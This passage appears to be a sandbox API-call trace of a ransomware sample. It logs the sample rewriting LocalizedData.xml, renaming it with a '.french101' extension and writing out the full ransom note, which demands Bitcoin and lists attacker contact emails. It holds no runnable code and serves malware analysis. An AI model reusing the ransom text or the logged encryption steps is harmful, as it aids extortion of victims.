lpsz="localizeddata.xml") returned 0x11 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.537] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0283.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0283.537] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0283.538] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.538] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.538] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0283.541] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0283.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.541] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.541] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xed90 [0283.542] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.542] SetFilePointer (in: hFile=0x308, lDistanceToMove=60816, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xed90 [0283.542] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.581] CloseHandle (hObject=0x308) returned 1 [0283.598] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.598] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.598] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xed91 [0283.598] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.598] SetFilePointer (in: hFile=0x308, lDistanceToMove=60816, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xed90 [0283.598] SetEndOfFile (hFile=0x308) returned 1 [0283.603] CloseHandle (hObject=0x308) returned 1 [0283.603] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.603] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.603] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xed90 [0283.603] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.603] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.603] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.603] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.604] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.604] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0283.604] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.604] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.604] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0283.604] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.604] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.604] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.604] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.619] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.619] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.619] SetFilePointer (in: hFile=0x308, lDistanceToMove=60816, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xed90 [0283.619] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.620] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xba, lpOverlapped=0x0) returned 1 [0283.620] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.620] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.620] CloseHandle (hObject=0x308) returned 1 [0283.621] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\A6J7s3p1u3BGBe0MhmCJ+rgDT3=MCrcIF5RYFfMEjdqoTk.french101" (normalized: "c:\\588bce7c90097ed212\\3076\\a6j7s3p1u3bgbe0mhmcj+rgdt3=mcrcif5ryffmejdqotk.french101")) returned 1 [0283.622] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\A6J7s3p1u3BGBe0MhmCJ+rgDT3=MCrcIF5RYFfMEjdqoTk.french101" (normalized: "c:\\588bce7c90097ed212\\3076\\a6j7s3p1u3bgbe0mhmcj+rgdt3=mcrcif5ryffmejdqotk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.622] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.623] CloseHandle (hObject=0x308) returned 1 [0283.623] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\A6J7s3p1u3BGBe0MhmCJ+rgDT3=MCrcIF5RYFfMEjdqoTk.french101", dwFileAttributes=0x80) returned 1 [0283.623] CloseHandle (hObject=0x308) returned 0 [0283.623] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.623] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.623] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.623] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.623] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.623] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.623] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.623] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.623] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.624] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.624] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da350 [0283.624] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0283.624] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0283.624] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0283.624] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\3076\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.624] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.624] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.624] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.624] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.624] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.624] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.625] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0283.625] CloseHandle (hObject=0x308) returned 1 [0283.625] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.625] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.625] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.625] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.625] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.625] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.625] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.625] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.625] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.625] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.625] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.625] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.625] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.625] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.626] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.626] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0283.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0283.626] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.626] GetLastError () returned 0x12 [0283.626] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.627] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.627] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.627] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.627] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.627] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.627] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.627] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.627] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.627] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.627] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.627] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.627] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.627] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.627] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.627] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.627] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.628] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.628] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.628] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.628] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.628] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.628] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.628] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.628] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.628] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.628] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 